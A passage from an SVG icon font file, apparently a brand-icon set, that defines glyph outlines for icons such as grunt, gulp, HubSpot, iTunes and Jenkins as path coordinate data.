c-34.2998 29.1006 -66.5 58.5 -66.5 108.301c0 114.699 147.1 176.5 147.1 268.6c0 3.2998 -0.199219 6.7002 -0.599609 10c5.09961 -2.40039 39.0996 -43.2998 39.0996 -90.4004c0 -80.5 -105.1 -129.199 -105.1 -203zM317.8 185.6
c1.5 -8.39941 2.2002 -16.5996 2.2002 -24.5996c0 -51.7998 -29.4004 -97.5 -67.2998 -136.8c-1 -1 -2.2002 -2.40039 -3.2002 -2.40039c-3.59961 0 -35.5 41.6006 -35.5 53.2002c0 0 41.7998 55.7002 41.7998 96.9004c0 10.7998 -2.7002 21.6992 -9.09961 33.3994
c-1.5 -32.2998 -55.7002 -87.7002 -58.1006 -87.7002c-2.69922 0 -17.8994 22 -17.8994 42.1006c0 5.2998 1 10.7002 3.2002 15.7998c2.39941 5.5 56.5996 72 56.5996 116.7c0 6.2002 -1 12 -3.40039 17.0996l-4 7.2002c16.7002 -6.5 82.6006 -64.0996 94.7002 -130.9z" />
    <glyph glyph-name="grunt" unicode="&#xf3ad;" horiz-adv-x="384" 
d="M61.2998 258.7c0.5 4.89941 2.7998 10 7 12h0.100586c-4.60059 1.7002 -9.2002 3.09961 -13.5 4.09961c42.1992 10.2002 73.3994 -20.5996 83.0996 -31.7998c16.5996 -19.2002 35.5 -8.7998 35.5 -8.7998c0.299805 -11.1006 -10.2998 -19 -21.0996 -19.5
c1.19922 -15.4004 -13.9004 -32.5 -13.9004 -32.5s5.59961 15 2.7002 25.2998c-0.900391 3.2002 -2 6.09961 -3 8.5c-19.2998 -17.2002 -48 -1.5 -54.9004 6.09961c-9.59961 10.6006 -12.3994 23.8008 -12.7998 34.1006c-1.7998 -3.7998 -3.2998 -9.10059 -4 -16.6006
c0 0 -6.2998 9.10059 -5.2002 19.1006zM89.5996 260.5c-2.89941 -9.09961 -3.39941 -27.7002 6.90039 -35.2998c16.2998 -12.1006 32.2998 -5 38 -1.7002c-7.5 11.2998 -25.4004 26 -44.9004 37zM231.7 214.7c-10.7998 0.399414 -21.4004 8.39941 -21.2002 19.2998
c0 0 18.7998 -10.4004 35.5 8.7998c9.7002 11.2002 40.7998 42 83.0996 31.7998c-4.2998 -0.899414 -8.89941 -2.2998 -13.5 -4.09961h0.100586c4.09961 -1.7998 6.39941 -6.7998 7 -11.7998c1.2002 -10 -5.2002 -19.1006 -5.2002 -19.1006
c-0.599609 7.5 -2.2002 12.8008 -4 16.6006c-0.5 -10.2998 -3.2002 -23.5 -12.7998 -34.1006c-6.7998 -7.59961 -35.5 -23.3994 -54.7998 -6.09961c-1 -2.5 -2.10059 -5.2998 -3 -8.5c-2.90039 -10.2998 2.69922 -25.2998 2.69922 -25.2998s-15.0996 17 -13.8994 32.5z
M294.4 260.5c-19.5 -11 -37.4004 -25.5996 -44.9004 -37c5.7002 -3.40039 21.5996 -10.5 37.9004 1.59961c10.3994 7.7002 10 26.3008 7 35.4004zM160 29.5c4.09961 0 7 -0.900391 8.7998 -2.7002c2.2002 -2.2998 1.5 -5.2998 0.900391 -6.7998
c-1.10059 -2.7002 -5.5 -11.5996 -13 -19.7998c-2.7002 -2.90039 -6.60059 -4.60059 -11 -4.60059c-4.2998 0 -8.7002 1.60059 -11.7998 4.30078c-2.30078 2.09961 -10.2002 9.5 -13.7002 18.5996c-1.2998 3.40039 -1 6.09961 0.899414 8.09961
c1.30078 1.30078 4 2.90039 9.5 2.90039h29.4004zM349.2 130.7c0 0 29.2998 -22.5 21.0996 -70.9004c-5.2998 -29.5 -23.2002 -46 -47 -54.7002c-8.7998 -19.0996 -29.3994 -45.6992 -67.2998 -49.5996c-14.5 -11.7998 -34.5 -19.5 -63.5996 -19.5h-0.200195
c-29.2002 0 -49.2002 7.7002 -63.6006 19.5c-37.8994 3.90039 -58.5 30.5 -67.2998 49.5996c-23.7998 8.60059 -41.7998 25.2002 -47 54.7002c-8.59961 48.2002 20.6006 70.7998 20.6006 70.7998c2.39941 -17.8994 13 -33.8994 24.5996 -43.7998
c3.09961 22.7002 3.7002 55.5 3.7002 62.4004c0 14.7002 -9.5 24.5 -12.2002 26.0996c-2.5 1.5 -5.2998 3 -8.2998 4.60059c-18 9.59961 -40.4004 21.5996 -40.4004 43.6992c0 16.1006 9.2998 23.2002 15.4004 27.8008c0.799805 0.599609 1.5 1.19922 2.2002 1.69922
c2.09961 1.7002 3.69922 3 4.2998 4.40039c4.39941 9.7998 3.59961 34.2002 1.7002 37.5996c-0.600586 0.700195 -16.8008 21 -11.8008 39.2002c2 7.40039 6.90039 13.2998 14.1006 17c5.2998 2.7002 11.7998 4.2002 19.5 4.5c0.0996094 2 0.5 4 0.899414 5.90039
c0.5 2.59961 1.10059 5.2998 0.900391 8.09961c-0.400391 4.7002 -0.799805 9.10059 -2.2002 11.2998c-8.39941 13.3008 -28.7998 17.6006 -29 17.6006l-12.2998 2.39941l8.09961 9.40039c0.200195 0.200195 17.3008 17.5 46.3008 17.5c7.89941 0 16 -1.2998 23.8994 -3.5
c24.2998 -7.7998 42.9004 -30.5 49.4004 -39.2998c2 0.599609 3.89941 1.2002 5.89941 1.7002c-1 26.3994 20.7002 47.3994 28.2002 48.2998c0.5 -4.5 -0.399414 -22.2002 7.2002 -27.6006c2.2002 14.4004 9.59961 30.3008 39.0996 40.7002
c-6.2998 -16.7002 -0.799805 -30.7002 1.80078 -37.2002c20.0996 18.2002 33.6992 15.2002 33.6992 15.2002s-13.1992 -22.7002 -9 -38.5c3.30078 -0.799805 6.5 -1.7002 9.60059 -2.7002c6.5 8.80078 25.2002 31.5 49.3994 39.3008
c8.10059 2.59961 16.2002 3.89941 24.1006 3.89941c29 0 46.2002 -17.2998 46.2998 -17.5l8.09961 -9.5l-12.2998 -2.39941c-0.200195 0 -20.5996 -4.30078 -29 -17.6006c-1.39941 -2.2998 -1.7998 -6.59961 -2.2002 -11.2998
c-0.199219 -2.7998 0.300781 -5.5 0.900391 -8.09961c0.400391 -2 0.799805 -3.90039 0.900391 -5.90039c7.59961 -0.299805 14.1992 -1.7998 19.5 -4.5c7.19922 -3.7002 12.0996 -9.59961 14.0996 -17c4.90039 -18.2998 -11.2002 -38.5996 -11.7998 -39.2002
c-1.90039 -3.39941 -2.7002 -27.7998 1.7002 -37.5996c0.599609 -1.40039 2.19922 -2.7002 4.2998 -4.40039c0.700195 -0.599609 1.39941 -1.09961 2.2002 -1.7002c6.09961 -4.59961 15.3994 -11.5996 15.3994 -27.7998c0 -22.0996 -22.3994 -34.0996 -40.3994 -43.7002
c-2.90039 -1.59961 -5.80078 -3.09961 -8.30078 -4.59961c-2.69922 -1.59961 -12.1992 -11.4004 -12.1992 -26.0996c0 -6.90039 0.599609 -39.7002 3.69922 -62.4004c11.6006 9.90039 22.2002 25.7998 24.6006 43.7002zM305.7 410.3
c-17.7998 -5.7002 -31.6006 -23.0996 -37.7002 -32.2002c1.59961 -0.699219 3.09961 -1.39941 4.7002 -2.19922c2.59961 -1.2002 4.89941 -2.40039 7.09961 -3.7002c2.7002 5.5 8.40039 13.7002 20.7002 22.3994c8.2002 5.80078 18.2002 8.90039 28.7002 8.90039
c3.59961 0 6.7998 -0.400391 9.2002 -0.799805c3.2998 2.09961 6.59961 3.89941 9.69922 5.2998c-4.7998 2 -13.6992 5 -24.6992 5c-6.10059 0 -12.1006 -0.900391 -17.7002 -2.7002zM326.7 392.1c-7.40039 -0.299805 -14 -2.69922 -19.6006 -7
c-8 -6.39941 -12.0996 -17.6992 -13.5 -22.5c4.90039 -4.19922 8.2002 -8.09961 10.5 -11.1992c3.40039 1 7.30078 1.89941 11.5 2.69922c3.30078 4.5 3.90039 10.6006 4.40039 17c0.5 6.2002 1.09961 12.6006 4.40039 17.8008c0.699219 1.09961 1.5 2.19922 2.2998 3.19922
zM45.5996 402.7c2.40039 0.399414 5.60059 0.799805 9 0.899414c10.6006 0 20.5 -3.09961 28.8008 -8.89941c12.3994 -8.7002 18.0996 -17 20.6992 -22.4004c2.2002 1.2002 4.60059 2.5 7.10059 3.7002c1.59961 0.799805 3.2002 1.5 4.7998 2.2002
c-6.09961 8.89941 -19.9004 26.2998 -37.7002 32.0996c-5.7002 1.7998 -11.5996 2.7002 -17.7002 2.7002c-11 0 -19.8994 -3 -24.6992 -5c3.09961 -1.2998 6.39941 -3.09961 9.69922 -5.2998zM90.2998 362.6c-1.39941 4.80078 -5.5 16.1006 -13.5 22.4004
c-5.5 4.40039 -12.0996 6.7002 -19.5 7c0.799805 -1 1.60059 -2.09961 2.2998 -3.2002c3.30078 -5.2002 3.90039 -11.5996 4.40039 -17.7998c0.5 -6.40039 1 -12.5 4.2998 -16.9004c4.2002 -0.799805 8.10059 -1.7998 11.5 -2.69922c2.2002 3.19922 5.60059 7 10.5 11.1992z
M58.0996 188.1c8.7002 -5 18.1006 -16.7998 19 -34.1992c0.900391 -14.7002 -0.899414 -49.9004 -3.39941 -75.9004c12.5 -4.7998 26.7002 -6.40039 39.7002 -6.7998c2 4.09961 3.89941 8.5 5.5 13.0996c0.699219 1.90039 19.5996 51 26.3994 62.2002
c-5.39941 -39 -17.5 -73.7002 -23.5 -89.5996c3.40039 0.399414 7.2998 0.699219 11.7002 0.699219h117c4.40039 0 8.2002 -0.199219 11.7002 -0.699219c-6 15.8994 -18 50.5996 -23.5 89.5996c6.7998 -11.0996 25.7002 -60.2002 26.3994 -62.2002
c1.60059 -4.59961 3.5 -9 5.5 -13.0996c13 0.399414 27.3008 2 39.7002 6.7998c-2.5 26 -4.2998 61.2998 -3.39941 75.9004c1.09961 17.5 10.3994 29.1992 19.0996 34.1992c2.7002 1.5 5.5 3.10059 8.40039 4.60059c14.7998 8 30.1992 16.2998 30.1992 30.5
c0 11.0996 -4.2998 14.5 -8.89941 18.2002l-0.5 0.399414c-0.700195 0.600586 -1.5 1.2002 -2.2002 1.7998c0.900391 -7.19922 1.90039 -13.2998 2.7002 -14.8994c0 0 -12.1006 15 -15.7002 44.2998c-1.40039 11.5 1.09961 34.2002 5.09961 43
c-0.199219 -4.90039 0 -9.7998 0.300781 -14.4004c0.399414 0.900391 0.799805 1.60059 1.2998 2.2002c3.2998 4 11.8994 17.5 9.39941 26.6006c-1 3.39941 -3.19922 6 -6.69922 7.7998c-3.80078 1.89941 -8.80078 2.89941 -15.1006 2.89941
c-12.2998 0 -25.8994 -3.7998 -32.8994 -6c-25.1006 -7.89941 -55.4004 -30.8994 -64.1006 -37.6992c-0.200195 -0.200195 -0.399414 -0.300781 -0.399414 -0.300781l-5.60059 -3.89941l3.5 5.7998c0.200195 0.299805 19.1006 31.4004 53.1006 46.5
c-2 2.90039 -7.40039 8.2002 -21.6006 15.0996c-21.3994 10.5 -46.3994 15.8008 -74.2998 15.8008c-27.7998 0 -52.9004 -5.30078 -74.2998 -15.8008c-14.2002 -7 -19.6006 -12.1992 -21.6006 -15.0996c34.1006 -15.0996 53 -46.2002 53.2002 -46.5l3.5 -5.7998
l-5.59961 3.89941s-0.200195 0.100586 -0.400391 0.300781c-8.7002 6.7998 -39 29.6992 -64.0996 37.6992c-7 2.30078 -20.6006 6 -32.9004 6c-6.2998 0 -11.2998 -1 -15.0996 -2.89941c-3.60059 -1.7998 -5.7998 -4.2998 -6.7002 -7.7998
c-2.40039 -9.10059 6.2002 -22.6006 9.40039 -26.6006c0.5 -0.599609 0.899414 -1.39941 1.2998 -2.2002c0.299805 4.60059 0.5 9.5 0.299805 14.4004c4 -8.7002 6.5 -31.5 5.09961 -43c-3.59961 -29.2998 -15.6992 -44.2998 -15.6992 -44.2998
c0.799805 1.59961 1.7998 7.7002 2.69922 14.8994c-0.799805 -0.599609 -1.5 -1.19922 -2.19922 -1.7998l-0.5 -0.399414c-4.60059 -3.60059 -8.90039 -7.10059 -8.90039 -18.2002c0 -14.2002 15.2998 -22.5 30.2002 -30.5c2.7998 -1.5 5.7002 -3 8.39941 -4.60059z
M34.7998 43.4004c11.9004 -19.7002 35.5 -29.4004 58.2002 -29.5c-4.5 13.2998 -3.09961 24 4.09961 31.7998l1.40039 1.39941c1.7998 2.40039 4.2998 5.80078 7 10c-27.2002 1.10059 -63.5 11 -74.4004 45.4004c-5 -5 -8.39941 -39.0996 3.7002 -59.0996zM80.5 -0.0996094
c6.5 -9.5 16.5 -19.6006 30.9004 -25.5c-4.90039 7.19922 -8.80078 15.0996 -12.3008 23.0996c-6.39941 0.5 -12.5996 1.2998 -18.5996 2.40039zM192 -50.2002c60.5996 0.100586 78.2998 45.9004 84.9004 64.7002c3.59961 10.5 3.2998 18.2998 -0.900391 23.0996
c-2.7998 3.30078 -9.5 7.2002 -24.5996 7.2002h-118.801c-15.0996 0 -21.6992 -3.89941 -24.5996 -7.2002c-4.2998 -4.89941 -4.59961 -12.5996 -0.900391 -23.0996c6.60059 -18.9004 24.3008 -64.5996 84.9004 -64.7002zM272.6 -25.5996
c14.4004 5.89941 24.4004 16 30.9004 25.5c-6 -1.10059 -12.2002 -1.90039 -18.5996 -2.40039c-3.5 -8 -7.40039 -15.9004 -12.3008 -23.0996zM349.2 43.4004c12.2002 19.8994 8.7998 54 3.7998 59c-10.9004 -34.4004 -47.2002 -44.2002 -74.4004 -45.4004
c2.7002 -4.2002 5.2002 -7.59961 7 -10c0.5 -0.5 1 -1 1.40039 -1.5c7.2002 -7.7002 8.59961 -18.5 4.09961 -31.7998c22.5 0.399414 46.1006 10 58.1006 29.7002zM191.9 260.3c-12.7002 0.200195 -27.2002 17.7998 -27.2002 17.7998
c9.89941 -6 18.7998 -8.09961 27.2998 -8.2998c8.5 0.200195 17.4004 2.2998 27.2998 8.2998c0 0 -14.5 -17.6992 -27.2002 -17.7998h-0.199219zM253.6 29.5996c5.40039 -0.0996094 8.10059 -1.69922 9.40039 -3c1.90039 -1.89941 2.2002 -4.59961 0.900391 -7.89941
c-3.5 -8.90039 -11.4004 -16.1006 -13.7002 -18.1006c-3.10059 -2.59961 -7.40039 -4.19922 -11.7998 -4.19922c-4.40039 0 -8.30078 1.59961 -11 4.5c-7.5 8 -12 16.6992 -13 19.2998c-0.600586 1.5 -1.30078 4.39941 0.899414 6.7002
c1.7002 1.7998 4.7002 2.69922 8.90039 2.69922h29.3994z" />
    <glyph glyph-name="gulp" unicode="&#xf3ae;" horiz-adv-x="256" 
d="M209.8 56.9004l-14.0996 -24.6006l-4.60059 -80.2002c0 -8.89941 -28.2998 -16.0996 -63.0996 -16.0996s-63.0996 7.2002 -63.0996 16.0996l-5.80078 79.4004l-14.8994 25.4004c41.2002 -17.3008 126 -16.7002 165.6 0zM13.7998 310.2
c30.7002 -17 197.8 -16.9004 228.3 0.200195l-14.7998 -136.801c-4.7998 -4.19922 -11.5996 -10.1992 -16.5996 -14.0996c-1.60059 -1.2002 -6 -4.7002 -8 -4.7002c-1.2998 0 -2.2002 0.5 -2.2002 1.7998c0.0996094 1 3.40039 4.5 5 6.40039
c4.90039 5.7002 13.7998 16 13.7998 23.4004c0 7 -10.7002 14.0996 -25.7002 0.199219c-1.59961 -1.5 -3.09961 -3 -4.5 -4.5c0.400391 1.10059 1.10059 5.10059 1.10059 6.2002c0 2.7998 -1.40039 4 -4.2002 4c-1 0 -1.90039 -0.599609 -2.7002 -1.59961
c-2.59961 -3.10059 -3.89941 -7.5 -5.2998 -11.2998c-0.5 -1.80078 -1.09961 -3.60059 -1.7002 -5.5c-0.399414 -0.200195 -0.700195 -0.300781 -0.899414 -0.600586c-3.80078 -3.89941 -17.7002 -17 -23.1006 -17c-2.2998 0 -1.59961 3.60059 -1 5.7998
c1 3.40039 6.7998 17.7002 8.7002 22.3008c4.59961 11.0996 8 19.7998 13.2002 31.8994c3.89941 9.2002 3.7998 8.60059 4.5 10.5c0.700195 2.10059 0.700195 4.90039 -1 6.2002c-1 0.700195 -2 1.09961 -3.2002 1.09961c-2.40039 0 -4.7998 -1.39941 -6.09961 -4.69922
c-25.5 -64.4004 -25.2002 -63.3008 -26.4004 -68.2002c-2 -1.7002 -4.40039 -3.40039 -6.7998 -4.5c-3.10059 -1.40039 -6.7998 -2.2002 -6.7998 1.2002c0 3.69922 1.39941 8.19922 2.69922 11.6992c2.2002 6.10059 4.90039 11.1006 6.90039 16.7002
c0.900391 2.40039 1.2998 4.7002 -0.400391 6.90039c-0.799805 1 -1.89941 1.5 -3.19922 1.5c-2.60059 0 -4.10059 -2.60059 -5.2002 -5.10059c-0.700195 -1.5 -1.2998 -3.09961 -1.7998 -4.7998c-1.2002 -4 -3.60059 -8.7002 -5.60059 -12.2998
c-2.7998 -5 -6.5 -10.0996 -11.0996 -13.5c-2.2002 -1.59961 -4.5 -2.40039 -6.90039 -2.40039c-3.5 0 -2.39941 5.7002 -1.5 9c2.2002 7.80078 5.5 13.3008 9.2998 20.8008c1.30078 2.69922 2.30078 5.39941 -0.299805 7.19922c-0.5 0.300781 -1 0.5 -1.59961 0.700195
c-3.40039 0.900391 -6 -1.09961 -7.60059 -4.5c-3.09961 -6.2998 -5.39941 -11.7002 -7.09961 -16.2002c-3.2998 -8.89941 -6.90039 -18.2998 -4.59961 -23.7998c1.5 -3.7002 4.5 -5.09961 8.59961 -5.09961c9.7998 0 17.7998 6.7002 22.4004 14.8994
c-4.30078 -19.7998 8.19922 -17.2998 20 -8.09961c0.0996094 -0.400391 0.0996094 -0.799805 0.199219 -1.2002c1.5 -6.7002 8.7002 -6.7002 14.5 -4.09961c3.5 1.59961 8.2002 4.5 14.4004 10.5c0.200195 0.299805 0.799805 1.39941 -0.799805 -2.2998
c-7.2002 -16.2002 -13.5 -28.2002 -15 -34.3008c-0.200195 -0.899414 -0.299805 -1.7998 -0.299805 -2.69922c0 -1.80078 0.399414 -3.10059 1.2998 -3.7002c1.59961 -1.2002 4.2002 -1.2998 6.09961 -0.299805c1.7998 1 3.10059 2.59961 4 4.5
c1 2.19922 0.200195 0.699219 5.2002 14c5 13.3994 2.90039 7.7998 9.09961 22c1.90039 4.2998 4.2002 9.5 8.5 15.5c2.5 3.39941 5.5 7 8.7002 9.69922c5.7002 4.7002 11.7002 5.40039 11.7002 2.5c0 -2.19922 -3.2998 -6.39941 -4.7002 -8.09961
c-5.2998 -6.7002 -14.3994 -16.2998 -14.3994 -21.5c0 -9.5 12 -8 17.3994 -5.7002c7.2998 3.2002 13.9004 9.60059 19.6006 14.7998l-10.9004 -94.5996c-1.90039 -4.90039 -39.0996 -17.0996 -88.2002 -17.0996c-49 0 -86.2002 12.0996 -88.2002 17.0996l-7.59961 79.5996
c2.09961 -1.5 4.2998 -2.39941 7.7002 -2.39941c7.39941 0 16.0996 6.7002 21.5 11.7998c2.2998 2.2002 4.39941 4.40039 6.39941 6.59961c-1 -3 -7.09961 -22 -7.2998 -25.1992c-0.0996094 -1 -0.200195 -4.90039 0.799805 -6.30078
c0.5 -0.799805 1.40039 -1.19922 2.60059 -1.19922c2.89941 0 5.59961 4.69922 6.2998 7.5c0 0 1.7998 6.2998 7.59961 25.7998c6.30078 21.0996 10 24.5 10 34.7002c0 5.59961 -7.2998 6.7998 -9.89941 0l-5.2002 -15.5c-2.2002 -4.5 -8 -11.5 -12.5 -16
c-3.5 -3.5 -10.7998 -10.1006 -15.7998 -10.1006c-2.40039 0 -3.90039 1.40039 -4.90039 3.60059c-2.2998 5.2998 -0.899414 14.2998 0.600586 19.8994c2.59961 9.7002 6.89941 19.4004 12 28.2002c4.19922 7.2998 10.1992 15.7002 17.0996 20.7002
c6.59961 4.7998 12.7998 4.5 16.9004 -2.7998c1.5 -2.7002 3.7998 -7.30078 6.7998 -7.30078c2.5 0 5.7002 2.60059 4.5 9.10059c-0.5 2.5 -4.90039 8.7998 -10.1006 11.7998c-6 3.59961 -12.3994 3.59961 -18.6992 0.900391
c-19.2002 -8.2002 -34.1006 -35.2002 -40 -55.2002zM243.5 318.7c0 -21 -231.2 -21 -231.2 0c0 8.7998 51.7998 15.8994 115.601 15.8994c9 0 17.7998 -0.0996094 26.2998 -0.399414l12.5996 48.7002l61.2998 64.5c1.40039 1.39941 5.80078 0.199219 9.90039 -3.5
c4.09961 -3.7002 6.59961 -7.90039 5.2998 -9.30078l-0.0996094 -0.0996094l-57.2998 -60.5l-10 -40.7002c39.8994 -2.59961 67.5996 -8.09961 67.5996 -14.5996zM174.1 314.1c0 0.800781 -0.899414 1.5 -2.5 2.10059l-0.199219 -0.799805
c0 -1.30078 -5 -2.40039 -11.1006 -2.40039c-6.09961 0 -11.0996 1.09961 -11.0996 2.40039c0 0.0996094 0 0.199219 0.0996094 0.299805l0.200195 0.700195c-1.7998 -0.600586 -3 -1.40039 -3 -2.30078c0 -2.09961 6.2002 -3.69922 13.7002 -3.69922
c7.7002 -0.100586 13.8994 1.59961 13.8994 3.69922z" />
    <glyph glyph-name="hacker-news-square" unicode="&#xf3af;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM21.2002 218.8h-0.200195c0.0996094 0.100586 0.200195 0.299805 0.299805 0.400391c0 -0.100586 0 -0.299805 -0.0996094 -0.400391z
M239.2 164.9l80.7998 155.1h-34.7998c-54.7998 -101.2 -48.2998 -98.5996 -60.6006 -125.6c-10.0996 24.3994 -6.7998 27.2998 -59.2998 125.6h-37.2998l79.7998 -153.3v-102.7h31.4004v100.9z" />
    <glyph glyph-name="hire-a-helper" unicode="&#xf3b0;" horiz-adv-x="512" 
d="M443.1 448c3.90039 -36.4004 32.5 -65.7998 68.9004 -71.7002v-370.5c-35.4004 -4 -64.9004 -33.3994 -67.9004 -69.7998h-372.199c-5.90039 36.4004 -34.5 63.9004 -71.9004 68.7998v371.5c37.4004 3.90039 67.9004 34.4004 71.9004 71.7002h371.199zM406.1 43.0996
c7.80078 0 5.80078 10.8008 0 10.8008c-10.2998 3.39941 -13.5 3.59961 -21.6992 13.7998c-7.80078 12.8994 -7.90039 44.3994 -7.90039 127.8v101.2c0 22.0996 12.2002 28.2998 28.5996 32.3994c8.90039 2.2002 3.90039 11.8008 -1 11.8008
c-36.5 0 -20.5996 -2 -57.0996 -2c-32.7002 0 -16.5 2 -49.2002 2c-3.2998 0 -8.5 -8.30078 -1 -10.8008c4.90039 -1.59961 27.6006 -3.69922 27.6006 -39.2998c0 -45.5996 0.199219 -55.7998 -1 -68.7998c0 -1.2998 -2.30078 -12.7998 -12.8008 -12.7998h-109.199
c-10.5 0 -12.8008 11.5 -12.8008 12.7998c-1.19922 13 -1 23.2002 -1 68.7998c0 35.6006 22.7002 37.7002 27.6006 39.2998c7.5 2.5 2.2998 10.8008 -1 10.8008c-32.7002 0 -16.5 -2 -49.2002 -2c-36.5 0 -20.5996 2 -57.0996 2c-5 0 -9.80078 -9.60059 -1 -11.8008
c16.3994 -4.09961 28.5996 -10.1992 28.5996 -32.3994v-101.2c0 -83.4004 -0.200195 -114.9 -7.90039 -127.8c-8.19922 -10.2998 -11.5 -10.4004 -21.6992 -13.7998c-5.80078 0 -7.90039 -10.8008 0 -10.8008c36.2998 0 18.7998 2 55.0996 2c35.7998 0 21 -2 56.0996 -2
c6 0 4.90039 8.2002 0 9.80078c-22.7998 7.59961 -22.8994 10.2998 -24.5996 12.7998c-10.4004 15.5996 -5.90039 83 -5.90039 113c0 5.2998 6.40039 12.7998 13.8008 12.7998h111.199c7.40039 0 13.8008 -7.5 13.8008 -12.7998c0 -30 4.5 -97.4004 -5.90039 -113
c-1.7002 -2.60059 -1.7998 -5.2002 -24.5996 -12.7998c-4.90039 -1.60059 -5.90039 -9.80078 0 -9.80078c35.0996 0 20.2998 2 56.0996 2c36.2998 0 18.7998 -2 55.0996 -2z" />
    <glyph glyph-name="hotjar" unicode="&#xf3b1;" 
d="M414.9 286.5c30 -53 41.7998 -121.6 26.2998 -180.9c-14.7002 -56.6992 -68.2998 -120.3 -148.8 -145.6c54.5 76.9004 43.8994 200.1 -27.1006 215.5c54.2002 -93.9004 -53.7002 -180.3 -110.8 -93.9004c-2.5 -7.19922 -25.0996 -74.5 4.09961 -129.6
c-61.0996 9.09961 -117.8 33.5 -144.6 93.4004c-35 78.1992 -2.7002 149.8 79 204.899c129.2 87.2998 28.0996 197.7 28.0996 197.7s219.101 -29 293.801 -161.5z" />
    <glyph glyph-name="hubspot" unicode="&#xf3b2;" horiz-adv-x="512" 
d="M267.4 236.4l-163.2 114.699c-7.90039 -4.69922 -17 -7.59961 -26.7998 -7.59961c-28.8008 0 -52.2002 23.4004 -52.2002 52.2998c0 28.7998 23.3994 52.2002 52.2002 52.2002c28.8994 0 52.3994 -23.4004 52.3994 -52.2002c0 -4.7998 -0.799805 -9.39941 -2 -13.7998
c51.4004 -39.0996 141.3 -103.9 168.9 -124.8c13.0996 6.89941 27.5 11.5 42.7002 13.5996v61.2002c-17.5 7.40039 -28.2002 23.7998 -28.2002 42.9004c0 26.0996 20.5996 47.8994 46.7002 47.8994c26.0996 0 47 -21.7998 47 -47.8994
c0 -19.1006 -10.7002 -35.5 -28.2002 -42.9004v-61.5996c62.5 -9.5 110.2 -63.5 110.2 -128.7c0 -71.9004 -58.1006 -130.2 -130 -130.2c-29.9004 0 -57.3008 10 -79.3008 26.9004l-50 -50.2002c1.30078 -3.90039 1.90039 -7.90039 1.90039 -12.1006
c0 -10.6992 -4.2002 -20.8994 -11.7998 -28.5c-7.7002 -7.69922 -17.7998 -11.5996 -28.6006 -11.5996c-10.6992 0 -20.8994 4 -28.5 11.5996c-7.59961 7.60059 -11.7998 17.7002 -11.7998 28.5c0 10.8008 4.2002 21 11.7998 28.6006
c7.60059 7.59961 17.7002 11.7998 28.5 11.7998c4.90039 0 9.60059 -0.900391 14 -2.5l49.5 49.7998c-16.2998 21.7002 -26 48.7002 -26 78c0 37.2998 15.7002 70.9004 40.8008 94.6006zM356.9 72.7998c38.0996 0 69 30.9004 69 69c0 38.1006 -30.9004 69 -69 69
c-38.1006 0 -69 -30.8994 -69 -69c0 -38.0996 30.8994 -69 69 -69z" />
    <glyph glyph-name="itunes" unicode="&#xf3b4;" 
d="M223.6 367.7c94.5 0 171.2 -76.7002 171.2 -171.3c0 -94.5 -76.5996 -171.2 -171.2 -171.2c-94.5996 0 -171.1 76.7998 -171.1 171.3s76.5 171.2 171.1 171.2zM303 127.7c1.40039 6.2002 0.900391 -3 1 167.6c0 5.7002 -3.2998 9.10059 -9 8.7002
c-1.7998 0 -14.0996 -2.40039 -115.1 -21.4004c-0.900391 0 -4.60059 -1 -6.7002 -2.69922c-2 -1.60059 -3.10059 -3.80078 -3.5 -6.40039c-1.7002 -6.7002 2.39941 -128 -2.60059 -133.7c-2.09961 -2.5 -4.69922 -3.2002 -7.69922 -3.7002
c-17.7002 -3.19922 -29.6006 -4.7998 -38 -12.7998c-14.5 -14.2002 -7 -38.8994 14.3994 -42.8994c8 -1.40039 23.1006 0.599609 31.4004 5.19922c7.2998 3.80078 12.7998 10.6006 14.8994 19.6006c1.7002 7.7002 1.2002 2.39941 1.2002 118.5
c0 5.7002 1.7002 7.2002 6.7002 8.2998c0 0 87.9004 16.4004 91.9004 17.0996c5.69922 1 8.39941 -0.5 8.39941 -6.09961c0 -78.7998 1 -77.2002 -2.2002 -80.7998c-2.09961 -2.5 -4.69922 -3.2002 -7.69922 -3.7002c-17.7002 -3.2002 -29.6006 -4.7998 -38 -12.7998
c-10.6006 -10.4004 -10.4004 -26.7998 1.39941 -36.7998c9.7002 -7.80078 19.7998 -7.2002 31.9004 -5c13.7998 2.59961 24.0996 10.1992 27.2998 23.7998zM345.2 416c56.8994 0 102.8 -45.9004 102.8 -102.8v-242.4c0 -56.8994 -45.7998 -102.8 -102.8 -102.8h-242.4
c-56.8994 0 -102.8 45.9004 -102.8 102.8v242.4c0 56.8994 45.9004 102.8 102.8 102.8h242.4zM223.6 4c106.301 0 192.5 86.2002 192.5 192.5s-86.1992 192.5 -192.5 192.5c-106.3 0 -192.5 -86.2002 -192.5 -192.5s86.2002 -192.5 192.5 -192.5z" />
    <glyph glyph-name="itunes-note" unicode="&#xf3b5;" horiz-adv-x="384" 
d="M381.9 59.7998c-6.40039 -27.3994 -27.2002 -42.7998 -55.1006 -48c-24.5 -4.5 -44.8994 -5.59961 -64.5 10.2002c-23.8994 20.0996 -24.2002 53.4004 -2.7002 74.4004c17 16.1992 40.9004 19.5 76.8008 25.7998c6 1.09961 11.1992 2.5 15.5996 7.39941
c6.40039 7.2002 4.40039 4.10059 4.40039 163.2c0 11.2002 -5.5 14.2998 -17 12.2998c-8.2002 -1.39941 -185.7 -34.5996 -185.7 -34.5996c-10.2002 -2.2002 -13.4004 -5.2002 -13.4004 -16.7002c0 -234.7 1.10059 -223.899 -2.5 -239.5
c-4.2002 -18.2002 -15.3994 -31.8994 -30.2002 -39.5c-16.7998 -9.2998 -47.1992 -13.3994 -63.3994 -10.3994c-43.2002 8.09961 -58.4004 58 -29.1006 86.5996c17 16.2002 40.9004 19.5 76.8008 25.7998c6 1.10059 11.1992 2.5 15.5996 7.40039
c10.0996 11.5 1.7998 256.6 5.2002 270.2c0.799805 5.19922 3 9.59961 7.09961 12.8994c4.2002 3.5 11.7998 5.5 13.4004 5.5c204 38.2002 228.899 43.1006 232.399 43.1006c11.5 0.799805 18.1006 -6 18.1006 -17.6006c0.200195 -344.5 1.09961 -326 -1.7998 -338.5z" />
    <glyph glyph-name="jenkins" unicode="&#xf3b6;" horiz-adv-x="512" 
d="M487.1 23c1.5 -11.9004 -5.2998 -28.2998 -8.69922 -39.7002c-4.90039 -16.2998 -9.7002 -31.8994 -14.6006 -47.2002h-422c-0.700195 1.90039 -1.39941 4 -2.09961 6c-4.60059 14.2002 -12.6006 31.7002 -14.7002 45.8008
